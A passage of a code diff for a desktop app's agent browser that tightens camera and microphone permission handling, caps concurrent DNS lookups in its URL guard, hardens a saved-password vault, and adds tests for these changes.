+    if (tab.pendingMediaPermission === pending) {
+      settleMediaPermission(tab, false)
+      publishPageIssue(tab)
+    }
+    return
+  }
+
+  if (osAllowed) {
+    tab.mediaPermissionGrant = {
+      origin: pending.request.origin,
+      devices: new Set(pending.request.devices),
+    }
+  }
+  settleMediaPermission(tab, osAllowed)
+  publishPageIssue(tab)
+}
+
 /**
  * Default-deny hardening for the agent partition. Site permissions remain
- * denied apart from ALLOWED_SITE_PERMISSIONS and camera/microphone — the agent
- * browser has to join a Google Meet or a Zoom web client like a real browser,
- * and those are dead without getUserMedia. The OS grant still gates every
- * media request, so the user's System Settings choice is the real authority.
+ * denied apart from ALLOWED_SITE_PERMISSIONS. Media is granted only after a
+ * renderer-owned, document-scoped prompt validates the requesting origin,
+ * active visible tab, recent native user input, and operating-system grant.
  * Uploads use Chromium's native file chooser and downloads are saved into the
  * device-level browser download directory.
  */
 function configureAgentPartition(ses: Session): void {
   if (configuredPartitions.has(ses)) return
   configuredPartitions.add(ses)
-  ses.setPermissionRequestHandler((_wc, permission, callback, details) => {
+  ses.setPermissionRequestHandler((contents, permission, callback, details) => {
     if (permission === 'media') {
-      const mediaTypes = (details as { mediaTypes?: readonly string[] })?.mediaTypes
-      void ensureOsMediaAccess(mediaTypes).then(callback)
+      const scoped = scopedTabForContents(contents)
+      const request = details as {
+        isMainFrame?: boolean
+        mediaTypes?: readonly string[]
+        requestingUrl?: string
+        securityOrigin?: string
+      }
+      const devices = requestedMediaDevices(request.mediaTypes)
+      const requestingOrigin = mediaOrigin(request.requestingUrl)
+      const securityOrigin = mediaOrigin(request.securityOrigin)
+      const currentOrigin = mediaOrigin(contents.getURL())
+      if (
+        !scoped ||
+        request.isMainFrame !== true ||
+        !devices ||
+        !requestingOrigin ||
+        (securityOrigin !== null && securityOrigin !== requestingOrigin) ||
+        currentOrigin !== requestingOrigin ||
+        !mediaRequestIsUserInitiated(scoped.scopeId, scoped.tab)
+      ) {
+        callback(false)
+        return
+      }
+
+      revokeTabMediaPermissions(scoped.tab, false)
+      const prompt: BrowserMediaPermissionRequest = {
+        requestId: generateId(),
+        origin: requestingOrigin,
+        devices,
+      }
+      scoped.tab.pendingMediaPermission = {
+        request: prompt,
+        documentUrl: contents.getURL(),
+        callback,
+        timeout: setTimeout(
+          bindToBrowserScope(scoped.scopeId, () => {
+            if (scoped.tab.pendingMediaPermission?.request.requestId !== prompt.requestId) return
+            settleMediaPermission(scoped.tab, false)
+            publishPageIssue(scoped.tab)
+          }),
+          MEDIA_PERMISSION_PROMPT_TIMEOUT_MS
+        ),
+      }
+      const win = panelWindow()
+      if (win && !win.isDestroyed()) win.webContents.focus()
+      withBrowserScope(scoped.scopeId, () => publishPageIssue(scoped.tab))
       return
     }
     callback(ALLOWED_SITE_PERMISSIONS.has(permission))
   })
-  ses.setPermissionCheckHandler((_wc, permission, _origin, details) => {
+  ses.setPermissionCheckHandler((contents, permission, requestingOrigin, details) => {
     if (permission === 'media') {
-      if (process.platform !== 'darwin') return true
-      const mediaType = (details as { mediaType?: string })?.mediaType
-      if (mediaType === 'video')
-        return systemPreferences.getMediaAccessStatus('camera') === 'granted'
-      if (mediaType === 'audio') {
-        return systemPreferences.getMediaAccessStatus('microphone') === 'granted'
-      }
-      return (
-        systemPreferences.getMediaAccessStatus('microphone') === 'granted' ||
-        systemPreferences.getMediaAccessStatus('camera') === 'granted'
+      if (!contents || details.isMainFrame !== true) return false
+      const scoped = scopedTabForContents(contents)
+      const grant = scoped?.tab.mediaPermissionGrant
+      const checkedOrigins = [
+        mediaOrigin(details.securityOrigin),
+        mediaOrigin(requestingOrigin),
+        mediaOrigin(details.requestingUrl),
+      ].filter((origin): origin is string => origin !== null)
+      const currentOrigin = mediaOrigin(contents.getURL())
+      const device =
+        details.mediaType === 'audio'
+          ? 'microphone'
+          : details.mediaType === 'video'
+            ? 'camera'
+            : null
+      return Boolean(
+        scoped &&
+          grant &&
+          device &&
+          checkedOrigins.length > 0 &&
+          checkedOrigins.every((origin) => origin === grant.origin) &&
+          currentOrigin === grant.origin &&
+          grant.devices.has(device) &&
+          (process.platform !== 'darwin' ||
+            systemPreferences.getMediaAccessStatus(device) === 'granted')
       )
     }
     return ALLOWED_SITE_PERMISSIONS.has(permission)
@@ -983,17 +1194,33 @@ function configureAgentPartition(ses: Session): void {
     publishBrowserDownloads(scopeId)
     logger.info('Agent browser download started', { filename })
     item.on('updated', (_updatedEvent, state) => {
+      const liveScopeId = resolveBrowserScopeId(scopeId)
+      if (
+        suspendedBrowserScopes.has(liveScopeId) ||
+        !browserScopeStates.has(liveScopeId) ||
+        !browserDownloadsByScope.get(liveScopeId)?.includes(download)
+      ) {
+        return
+      }
       updateDownloadProgress(download, item)
       download.state = state === 'interrupted' ? 'interrupted' : 'progressing'
-      publishBrowserDownloads(scopeId)
+      publishBrowserDownloads(liveScopeId)
     })
     item.once('done', (_doneEvent, state) => {
       activeDownloadPaths.delete(savePath)
+      const liveScopeId = resolveBrowserScopeId(scopeId)
+      if (
+        suspendedBrowserScopes.has(liveScopeId) ||
+        !browserScopeStates.has(liveScopeId) ||
+        !browserDownloadsByScope.get(liveScopeId)?.includes(download)
+      ) {
+        return
+      }
       updateDownloadProgress(download, item)
       download.state = state
-      trimBrowserDownloads(scopeId)
-      publishBrowserDownloads(scopeId)
-      withBrowserScope(scopeId, persistBrowserSession)
+      trimBrowserDownloads(liveScopeId)
+      publishBrowserDownloads(liveScopeId)
+      withBrowserScope(liveScopeId, persistBrowserSession)
       if (state === 'completed') {
         logger.info('Agent browser download completed', { filename })
         if (process.platform === 'darwin') app.dock?.downloadFinished(savePath)
@@ -1294,6 +1521,15 @@ function createTabView(): WebContentsView {
       zoomFactor: getBrowserDefaultZoomFactor(),
     },
   })
+  try {
+    return initializeTabView(view, scopeId)
+  } catch (error) {
+    if (!view.webContents.isDestroyed()) view.webContents.close()
+    throw error
+  }
+}
+
+function initializeTabView(view: WebContentsView, scopeId: string): WebContentsView {
   view.setBackgroundColor(browserBackgroundColor())
   const contents = view.webContents
   registerAgentWebContents(contents)
@@ -1329,7 +1565,10 @@ function createTabView(): WebContentsView {
         return
       }
       const tab = tabs.find((entry) => entry.view.webContents === contents)
-      if (tab?.id === currentScope.activeTabId) currentScope.visibleTabUserSelected = true
+      if (tab?.id === currentScope.activeTabId) {
+        currentScope.visibleTabUserSelected = true
+        if (mouse.type === 'mouseDown') tab.lastRealUserGestureAt = Date.now()
+      }
     })
   )
   contents.on(
@@ -1385,6 +1624,7 @@ function createTabView(): WebContentsView {
         return
       }
       dismissFind(tab.id)
+      revokeTabMediaPermissions(tab, false)
       tab.pageIssue = {
         kind: 'crashed',
         reason: details.reason,
@@ -1401,6 +1641,7 @@ function createTabView(): WebContentsView {
       const tab = tabs.find((entry) => entry.view === view)
       if (!tab || tab.pageIssue?.kind === 'crashed') return
       dismissFind(tab.id)
+      revokeTabMediaPermissions(tab, false)
       tab.pageIssue = {
         kind: 'unresponsive',
         url: tab.pendingRestoreUrl || contents.getURL(),
@@ -1423,6 +1664,7 @@ function createTabView(): WebContentsView {
       const tab = tabs.find((entry) => entry.view === view)
       if (!isDispatchingAgentInput(contents) && tab?.id === currentScope.activeTabId) {
         currentScope.visibleTabUserSelected = true
+        if (input.type === 'keyDown' && !input.isAutoRepeat) tab.lastRealUserGestureAt = Date.now()
       }
       const shortcut = browserShortcutForInput(input)
       if (!shortcut) return
@@ -1503,6 +1745,8 @@ function createTabView(): WebContentsView {
     'did-start-navigation',
     bindToBrowserScope(scopeId, (details) => {
       if (!details.isMainFrame) return
+      const tab = tabs.find((entry) => entry.view === view)
+      if (tab) revokeTabMediaPermissions(tab)
       notePageNavigationStarted(contents)
       events?.onTabNavigated(contents, false)
     })
@@ -1519,7 +1763,11 @@ function createTabView(): WebContentsView {
   )
   contents.on(
     'destroyed',
-    bindToBrowserScope(scopeId, () => events?.onTabClosed(contents))
+    bindToBrowserScope(scopeId, () => {
+      const tab = tabs.find((entry) => entry.view === view)
+      if (tab) revokeTabMediaPermissions(tab, false)
+      events?.onTabClosed(contents)
+    })
   )
 
   events?.onTabCreated(contents)
@@ -1704,6 +1952,8 @@ function addTabInternal({
   activate = true,
   notify = true,
 }: AddTabOptions = {}): AgentTab {
+  assertTabCapacity()
+  const previousActiveTab = activeTab()
   const transferBrowserFocus =
     activate &&
     (currentScope.focusedBrowserTabId !== null ||
@@ -1717,6 +1967,9 @@ function addTabInternal({
   insertPinnedAware(tab)
   if (currentScope.automationTabId === null) currentScope.automationTabId = tab.id
   if (activate || currentScope.activeTabId === null) {
+    if (previousActiveTab && previousActiveTab.id !== tab.id) {
+      revokeTabMediaPermissions(previousActiveTab, false)
+    }
     currentScope.activeTabId = tab.id
     applyActiveTabThrottling()
     if (!currentScope.restoring) layout()
@@ -1730,6 +1983,30 @@ function addTabInternal({
   return tab
 }
 
+function closeTabAfterFailedRestore(tab: AgentTab): void {
+  try {
+    revokeTabMediaPermissions(tab, false)
+  } catch (error) {
+    logger.warn('Could not revoke media permissions after browser restore failed', {
+      error: getErrorMessage(error),
+    })
+  }
+  try {
+    detachIfAttached(tab.view)
+  } catch (error) {
+    logger.warn('Could not detach browser tab after browser restore failed', {
+      error: getErrorMessage(error),
+    })
+  }
+  try {
+    if (!tab.view.webContents.isDestroyed()) tab.view.webContents.close()
+  } catch (error) {
+    logger.warn('Could not close browser tab after browser restore failed', {
+      error: getErrorMessage(error),
+    })
+  }
+}
+
 /** Marks the visible page as user-selected without blocking automation on it. */
 export function claimActiveTabForUser(): AgentTab | null {
   const tab = activeTab()
@@ -1751,8 +2028,6 @@ export function restoreBrowserSession(): void {
   }
   if (currentScope.restored) return
   currentScope.activationOnly = false
-  currentScope.restored = true
-  currentScope.restoring = true
 
   const scopeId = getBrowserScopeId()
   let snapshot: BrowserSessionSnapshot | null = null
@@ -1766,28 +2041,91 @@ export function restoreBrowserSession(): void {
     }
   }
 
-  const restoredTabs: AgentTab[] = []
+  const selectedIndexes = new Set<number>()
   if (snapshot) {
-    browserDownloadsByScope.set(
-      scopeId,
-      snapshot.downloads.map((download) => ({ ...download }))
+    for (
+      let index = 0;
+      index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE;
+      index++
+    ) {
+      if (snapshot.tabs[index]?.pinned) selectedIndexes.add(index)
+    }
+    if (selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE && snapshot.tabs[snapshot.activeIndex]) {
+      selectedIndexes.add(snapshot.activeIndex)
+    }
+    for (
+      let index = 0;
+      index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE;
+      index++
+    ) {
+      selectedIndexes.add(index)
+    }
+  }
+  const selectedEntries = snapshot
+    ? [...selectedIndexes]
+        .sort((left, right) => left - right)
+        .map((index) => ({ entry: snapshot.tabs[index], sourceIndex: index }))
+    : []
+  const availableSlots = Math.max(0, MAX_LIVE_TABS_GLOBAL - liveBrowserTabCount())
+  if (selectedEntries.length > availableSlots) {
+    throw new SessionError(
+      `Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.`
     )
-    publishBrowserDownloads(scopeId)
-    for (const entry of snapshot.tabs) {
-      const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false })
-      tab.pendingRestoreUrl = entry.url
-      restoredTabs.push(tab)
-      if (entry.url !== 'about:blank') {
-        void tab.view.webContents.loadURL(entry.url).catch(() => {})
+  }
+
+  const state = browserScopeState(scopeId)
+  const previousState = {
+    tabs: [...state.tabs],
+    activeTabId: state.activeTabId,
+    automationTabId: state.automationTabId,
+    nextTabId: state.nextTabId,
+    restored: state.restored,
+    lastPersistedSnapshot: state.lastPersistedSnapshot,
+  }
+  const previousDownloads = browserDownloadsByScope.get(scopeId)
+  const restoredTabs: AgentTab[] = []
+  state.restoring = true
+  try {
+    if (snapshot) {
+      browserDownloadsByScope.set(
+        scopeId,
+        snapshot.downloads.map((download) => ({ ...download }))
+      )
+      for (const { entry } of selectedEntries) {
+        const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false })
+        tab.pendingRestoreUrl = entry.url
+        restoredTabs.push(tab)
+        if (entry.url !== 'about:blank') {
+          void tab.view.webContents.loadURL(entry.url).catch(() => {})
+        }
       }
+      const restoredActiveIndex = selectedEntries.findIndex(
+        ({ sourceIndex }) => sourceIndex === snapshot.activeIndex
+      )
+      state.activeTabId = restoredTabs[restoredActiveIndex]?.id ?? restoredTabs[0]?.id ?? null
+      state.automationTabId = state.activeTabId
+      state.lastPersistedSnapshot = JSON.stringify(browserSessionSnapshot())
     }
-    currentScope.activeTabId = restoredTabs[snapshot.activeIndex]?.id ?? restoredTabs[0]?.id ?? null
-    currentScope.automationTabId = currentScope.activeTabId
-    currentScope.lastPersistedSnapshot = JSON.stringify(snapshot)
+
+    state.restored = true
+  } catch (error) {
+    for (const tab of restoredTabs) closeTabAfterFailedRestore(tab)
+    state.tabs = previousState.tabs
+    state.activeTabId = previousState.activeTabId
+    state.automationTabId = previousState.automationTabId
+    state.nextTabId = previousState.nextTabId
+    state.restored = previousState.restored
+    state.lastPersistedSnapshot = previousState.lastPersistedSnapshot
+    if (previousDownloads) browserDownloadsByScope.set(scopeId, previousDownloads)
+    else browserDownloadsByScope.delete(scopeId)
+    applyActiveTabThrottling()
+    throw error
+  } finally {
+    state.restoring = false
   }
 
-  currentScope.restoring = false
   applyActiveTabThrottling()
+  if (snapshot) publishBrowserDownloads(scopeId)
   const active = activeTab()
   if (active) {
     layout()
@@ -1904,6 +2242,10 @@ export function switchTab(tabId: string): AgentTab {
   const transferBrowserFocus =
     currentScope.focusedBrowserTabId !== null ||
     tabs.some((entry) => entry.view.webContents.isFocused())
+  const previousActiveTab = activeTab()
+  if (previousActiveTab && previousActiveTab.id !== tab.id) {
+    revokeTabMediaPermissions(previousActiveTab, false)
+  }
   currentScope.activeTabId = tab.id
   currentScope.visibleTabUserSelected = true
   // Visible selection does not move the automation exemption; the user may
@@ -1966,6 +2308,7 @@ export function closeTab(tabId: string): void {
   dismissFind(tabId)
   clearAutomationIndicatorsForTab(tabId)
   const [tab] = tabs.splice(index, 1)
+  revokeTabMediaPermissions(tab, false)
   recentlyClosedTabUrls.unshift(sanitizeRestorableUrl(tabUrl(tab)) ?? 'about:blank')
   if (recentlyClosedTabUrls.length > MAX_RECENTLY_CLOSED_TABS) {
     recentlyClosedTabUrls.length = MAX_RECENTLY_CLOSED_TABS
@@ -2197,6 +2540,7 @@ function closeTabFromUser(tabId: string): void {
 function closeLiveTabs(): void {
   dismissFind(currentScope.findingTabId)
   for (const tab of tabs.splice(0)) {
+    revokeTabMediaPermissions(tab, false)
     detachIfAttached(tab.view)
     if (!tab.view.webContents.isDestroyed()) {
       tab.view.webContents.close()
diff --git a/apps/desktop/src/main/browser-agent/url-guard.test.ts b/apps/desktop/src/main/browser-agent/url-guard.test.ts
index e50d51eb6b7..0468ffb799a 100644
--- a/apps/desktop/src/main/browser-agent/url-guard.test.ts
+++ b/apps/desktop/src/main/browser-agent/url-guard.test.ts
@@ -217,6 +217,53 @@ describe('isBlockedSubresourceUrl', () => {
     expect(mockLookup).toHaveBeenCalledTimes(1)
   })
 
+  it('bounds DNS concurrency across distinct hostile hostnames', async () => {
+    let active = 0
+    let peak = 0
+    const releases: Array<() => void> = []
+    mockLookup.mockImplementation(
+      () =>
+        new Promise((resolve) => {
+          active++
+          peak = Math.max(peak, active)
+          releases.push(() => {
+            active--
+            resolve([{ address: '93.184.216.34', family: 4 }])
+          })
+        })
+    )
+
+    const verdicts = Array.from({ length: 24 }, (_, index) =>
+      isBlockedSubresourceUrl(`https://parallel-${index}.example/app.js`)
+    )
+    await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(8))
+    releases.splice(0).forEach((release) => release())
+    await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(16))
+    releases.splice(0).forEach((release) => release())
+    await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(24))
+    releases.splice(0).forEach((release) => release())
+    await Promise.all(verdicts)
+
+    expect(peak).toBe(8)
+    expect(mockLookup).toHaveBeenCalledTimes(24)
+  })
+
+  it('bounds queued requests by the original DNS deadline', async () => {
+    vi.useFakeTimers()
+    try {
+      mockLookup.mockReturnValue(new Promise(() => {}))
+      const verdicts = Array.from({ length: 16 }, (_, index) =>
+        isBlockedSubresourceUrl(`https://slow-${index}.example/app.js`)
+      )
+      await vi.advanceTimersByTimeAsync(5_000)
+
+      await expect(Promise.all(verdicts)).resolves.toEqual(Array(16).fill(true))
+      expect(mockLookup).toHaveBeenCalledTimes(8)
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
   it('treats a trailing-dot host as the same host', async () => {
     await isBlockedSubresourceUrl('https://example.com/a.js')
     await isBlockedSubresourceUrl('https://example.com./b.js')
diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts
index 96b3954bedd..75a20e2679d 100644
--- a/apps/desktop/src/main/browser-agent/url-guard.ts
+++ b/apps/desktop/src/main/browser-agent/url-guard.ts
@@ -1,5 +1,5 @@
 import { createLogger } from '@sim/logger'
-import { resolveHostAddresses } from '@sim/security/dns'
+import { DEFAULT_DNS_TIMEOUT_MS, DnsTimeoutError, resolveHostAddresses } from '@sim/security/dns'
 import {
   isIpLiteral,
   isLoopbackIp,
@@ -100,7 +100,7 @@ export async function checkAgentUrl(rawUrl: string): Promise<UrlGuardResult> {
   }
 
   try {
-    const { addresses } = await resolveHostAddresses(host)
+    const { addresses } = await resolveHostAddressesBounded(host)
     if (addresses.some((address) => isBlockedAddress(address))) {
       logger.warn('Blocked agent navigation resolving to private IP', { host })
       return BLOCKED
@@ -151,6 +151,57 @@ const HOST_VERDICT_TTL_MS = 30_000
  * bounded rather than left to grow.
  */
 const MAX_HOST_VERDICTS = 256
+const MAX_CONCURRENT_DNS_LOOKUPS = 8
+const MAX_QUEUED_DNS_LOOKUPS = 64
+
+let activeDnsLookups = 0
+const dnsLookupWaiters: Array<() => void> = []
+
+async function acquireDnsLookupSlot(host: string, deadline: number): Promise<void> {
+  if (activeDnsLookups < MAX_CONCURRENT_DNS_LOOKUPS) {
+    activeDnsLookups++
+    return
+  }
+  if (dnsLookupWaiters.length >= MAX_QUEUED_DNS_LOOKUPS) {
+    throw new Error('DNS lookup queue is full')
+  }
+  const remainingMs = deadline - Date.now()
+  if (remainingMs <= 0) throw new DnsTimeoutError(host)
+
+  await new Promise<void>((resolve, reject) => {
+    const grant = () => {
+      clearTimeout(timer)
+      resolve()
+    }
+    const timer = setTimeout(() => {
+      const index = dnsLookupWaiters.indexOf(grant)
+      if (index >= 0) dnsLookupWaiters.splice(index, 1)
+      reject(new DnsTimeoutError(host))
+    }, remainingMs)
+    dnsLookupWaiters.push(grant)
+  })
+}
+
+function releaseDnsLookupSlot(): void {
+  const next = dnsLookupWaiters.shift()
+  if (next) {
+    next()
+    return
+  }
+  activeDnsLookups--
+}
+
+async function resolveHostAddressesBounded(host: string) {
+  const deadline = Date.now() + DEFAULT_DNS_TIMEOUT_MS
+  await acquireDnsLookupSlot(host, deadline)
+  try {
+    const remainingMs = deadline - Date.now()
+    if (remainingMs <= 0) throw new DnsTimeoutError(host)
+    return await resolveHostAddresses(host, { timeoutMs: remainingMs })
+  } finally {
+    releaseDnsLookupSlot()
+  }
+}
 
 /**
  * The in-flight or settled verdict per host.
@@ -216,7 +267,7 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise<boolean>
   const cached = hostVerdicts.get(host)
   if (cached && Date.now() < cached.expiry) return cached.verdict
 
-  const verdict = resolveHostAddresses(host)
+  const verdict = resolveHostAddressesBounded(host)
     .then(({ addresses }) => {
       const blocked = addresses.some((address) => isBlockedAddress(address))
       if (blocked) {
diff --git a/apps/desktop/src/main/browser-credentials/os-auth.test.ts b/apps/desktop/src/main/browser-credentials/os-auth.test.ts
index 91814d5fba7..8a534fc9f72 100644
--- a/apps/desktop/src/main/browser-credentials/os-auth.test.ts
+++ b/apps/desktop/src/main/browser-credentials/os-auth.test.ts
@@ -3,6 +3,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 const promptTouchID = vi.fn(async () => undefined)
 const canPromptTouchID = vi.fn(() => true)
 const showMessageBox = vi.fn(async () => ({ response: 1 }))
+const getFocusedWindow = vi.fn(() => null as { isDestroyed(): boolean } | null)
 
 vi.mock('electron', () => ({
   systemPreferences: {
@@ -18,6 +19,11 @@ vi.mock('electron', () => ({
       return showMessageBox
     },
   },
+  BrowserWindow: {
+    get getFocusedWindow() {
+      return getFocusedWindow
+    },
+  },
 }))
 
 vi.mock('@sim/logger', () => ({
@@ -67,6 +73,7 @@ describe('authorizeForSecret', () => {
     vi.useRealTimers()
     revokeSecretAuthorization()
     setPlatform('darwin')
+    getFocusedWindow.mockReturnValue(null)
     canPromptTouchID.mockReturnValue(true)
     promptTouchID.mockResolvedValue(undefined)
   })
@@ -199,11 +206,26 @@ describe('authorizeForSecret', () => {
       expect.objectContaining({
         message: 'Copy password?',
         buttons: ['Cancel', 'Copy password'],
+        defaultId: 0,
+        cancelId: 0,
         detail: expect.stringContaining('copy a saved password'),
       })
     )
   })
 
+  it('parents fallback confirmation to the focused app window', async () => {
+    canPromptTouchID.mockReturnValue(false)
+    const parent = { isDestroyed: vi.fn(() => false) }
+    getFocusedWindow.mockReturnValue(parent)
+
+    await authorizeForSecret(copyRequest('c1'))
+
+    expect(showMessageBox).toHaveBeenCalledWith(
+      parent,
+      expect.objectContaining({ message: 'Copy password?' })
+    )
+  })
+
   it('fails closed when the fallback dialog cannot be shown', async () => {
     canPromptTouchID.mockReturnValue(false)
     showMessageBox.mockRejectedValueOnce(new Error('no window'))
diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts
index 30e93d14680..57749e6e5ac 100644
--- a/apps/desktop/src/main/browser-credentials/os-auth.ts
+++ b/apps/desktop/src/main/browser-credentials/os-auth.ts
@@ -1,5 +1,6 @@
 import { createLogger } from '@sim/logger'
-import { dialog, systemPreferences } from 'electron'
+import type { MessageBoxOptions } from 'electron'
+import { BrowserWindow, dialog, systemPreferences } from 'electron'
 
 const logger = createLogger('BrowserCredentialAuth')
 
@@ -130,15 +131,20 @@ async function promptForSecret(reason: string, action: string): Promise<boolean>
   }
 
   try {
-    const { response } = await dialog.showMessageBox({
+    const options: MessageBoxOptions = {
       type: 'warning',
       buttons: ['Cancel', action],
-      defaultId: 1,
+      defaultId: 0,
       cancelId: 0,
       message: `${action}?`,
       detail: `Sim is about to ${reason}. Make sure nobody can see your screen.`,
       noLink: true,
-    })
+    }
+    const parent = BrowserWindow.getFocusedWindow()
+    const { response } =
+      parent && !parent.isDestroyed()
+        ? await dialog.showMessageBox(parent, options)
+        : await dialog.showMessageBox(options)
     return response === 1
   } catch (error) {
     // Fail closed: if the confirmation cannot be shown, nothing is revealed.
diff --git a/apps/desktop/src/main/browser-credentials/vault.test.ts b/apps/desktop/src/main/browser-credentials/vault.test.ts
index 844406d0827..3fc1d958544 100644
--- a/apps/desktop/src/main/browser-credentials/vault.test.ts
+++ b/apps/desktop/src/main/browser-credentials/vault.test.ts
@@ -1,4 +1,4 @@
-import { mkdtemp, readFile, rm, stat } from 'node:fs/promises'
+import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
@@ -258,15 +258,78 @@ describe('CredentialVault', () => {
     await expect(vault.clear()).resolves.toBeUndefined()
   })
 
-  it('reads a corrupt or undecryptable vault as empty instead of throwing', async () => {
+  it('preserves an undecryptable vault until clear explicitly resets it', async () => {
     const provider = encryption()
-    provider.decryptString = vi.fn(() => {
+    provider.decryptString.mockImplementationOnce(() => {
       throw new Error('wrong key')
     })
     const vault = new CredentialVault(vaultPath, encryption())
     await vault.importCredentials(CANDIDATES, 'keep-existing')
+    const original = await readFile(vaultPath, 'utf8')
 
     const brokenVault = new CredentialVault(vaultPath, provider)
     await expect(brokenVault.list()).resolves.toEqual([])
+    expect(brokenVault.isAvailable()).toBe(false)
+    await expect(brokenVault.importCredentials(CANDIDATES, 'replace')).resolves.toEqual({
+      added: 0,
+      updated: 0,
+      skipped: 2,
+    })
+    await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original)
+
+    await brokenVault.clear()
+    expect(brokenVault.isAvailable()).toBe(true)
+    await expect(brokenVault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toEqual({
+      added: 1,
+      updated: 0,
+      skipped: 0,
+    })
+    await expect(brokenVault.list()).resolves.toHaveLength(1)
+  })
+
+  it('preserves an oversized vault until explicit clear resets persistence', async () => {
+    await writeFile(vaultPath, '')
+    await truncate(vaultPath, 64 * 1024 * 1024 + 1)
+    const vault = new CredentialVault(vaultPath, encryption())
+
+    await expect(vault.list()).resolves.toEqual([])
+    expect(vault.isAvailable()).toBe(false)
+    await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({
+      added: 0,
+    })
+    expect((await stat(vaultPath)).size).toBe(64 * 1024 * 1024 + 1)
+
+    await vault.clear()
+    await expect(vault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toMatchObject({
+      added: 1,
+    })
+  })
+
+  it('blocks a stored credential with fields outside the persistence contract', async () => {
+    const provider = encryption()
+    const payload = [
+      {
+        id: 'credential-1',
+        origin: 'https://example.com',
+        username: 'ada',
+        password: 'secret',
+        icon: { unexpected: true },
+        createdAt: '2026-01-01T00:00:00.000Z',
+        updatedAt: '2026-01-01T00:00:00.000Z',
+        source: 'chrome',
+      },
+    ]
+    const original = JSON.stringify({
+      version: 1,
+      ciphertext: provider.encryptString(JSON.stringify(payload)).toString('base64'),
+    })
+    await writeFile(vaultPath, original)
+    const vault = new CredentialVault(vaultPath, provider)
+
+    await expect(vault.list()).resolves.toEqual([])
+    await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({
+      added: 0,
+    })
+    await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original)
   })
 })
diff --git a/apps/desktop/src/main/browser-credentials/vault.ts b/apps/desktop/src/main/browser-credentials/vault.ts
index e5ecb659e36..08b6fe0a5f0 100644
--- a/apps/desktop/src/main/browser-credentials/vault.ts
+++ b/apps/desktop/src/main/browser-credentials/vault.ts
@@ -1,8 +1,13 @@
-import { readFile } from 'node:fs/promises'
 import type { BrowserCredentialMetadata } from '@sim/desktop-bridge'
+import { createLogger } from '@sim/logger'
 import { generateId } from '@sim/utils/id'
 import { safeStorage } from 'electron'
-import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
+import {
+  FileResourceLimitError,
+  readFileWithinLimit,
+  removeFileIfPresent,
+  writeJsonFileAtomically,
+} from '@/main/atomic-json-file'
 import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/origin'
 
 /**
@@ -20,6 +25,16 @@ import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/o
  */
 
 const VAULT_VERSION = 1
+const MAX_VAULT_FILE_BYTES = 64 * 1024 * 1024
+const MAX_VAULT_PAYLOAD_BYTES = 45 * 1024 * 1024
+const MAX_CREDENTIAL_RECORDS = 50_000
+const MAX_CREDENTIAL_ID_LENGTH = 128
+const MAX_CREDENTIAL_ORIGIN_LENGTH = 2_048
+const MAX_LOGIN_NAME_LENGTH = 4_096
+const MAX_SECRET_VALUE_LENGTH = 65_536
+const MAX_CREDENTIAL_ICON_LENGTH = 2 * 1024 * 1024
+const MAX_CREDENTIAL_TIMESTAMP_LENGTH = 64
+const logger = createLogger('BrowserCredentialVault')
 
 export interface CredentialRecord {
   id: string
@@ -65,11 +80,25 @@ function isCredentialRecord(value: unknown): value is CredentialRecord {
   const record = value as Record<string, unknown>
   return (
     typeof record.id === 'string' &&
+    record.id.length > 0 &&
+    record.id.length <= MAX_CREDENTIAL_ID_LENGTH &&
     typeof record.origin === 'string' &&
+    record.origin.length > 0 &&
+    record.origin.length <= MAX_CREDENTIAL_ORIGIN_LENGTH &&
+    normalizeOrigin(record.origin) === record.origin &&
     typeof record.username === 'string' &&
+    record.username.length <= MAX_LOGIN_NAME_LENGTH &&
     typeof record.password === 'string' &&
+    record.password.length > 0 &&
+    record.password.length <= MAX_SECRET_VALUE_LENGTH &&
+    (record.icon === undefined ||
+      (typeof record.icon === 'string' && record.icon.length <= MAX_CREDENTIAL_ICON_LENGTH)) &&
     typeof record.createdAt === 'string' &&
+    record.createdAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH &&
+    Number.isFinite(Date.parse(record.createdAt)) &&
     typeof record.updatedAt === 'string' &&
+    record.updatedAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH &&
+    Number.isFinite(Date.parse(record.updatedAt)) &&
     (record.source === 'chrome' || record.source === 'manual')
   )
 }
@@ -97,6 +126,7 @@ export class CredentialVault {
    * failed disk write does not permanently poison subsequent mutations.
    */
   private mutationTail: Promise<void> = Promise.resolve()
+  private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown'
 
   constructor(
     private readonly filePath: string,
@@ -122,7 +152,7 @@ export class CredentialVault {
     // returning false, and an unguarded call propagated out of a password
     // import. The site directory has always defended against it; this did not.
     try {
-      return this.encryption.isEncryptionAvailable()
+      return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable()
     } catch {
       return false
     }
@@ -135,27 +165,59 @@ export class CredentialVault {
   private async read(): Promise<CredentialRecord[]> {
     if (!this.isAvailable()) return []
     try {
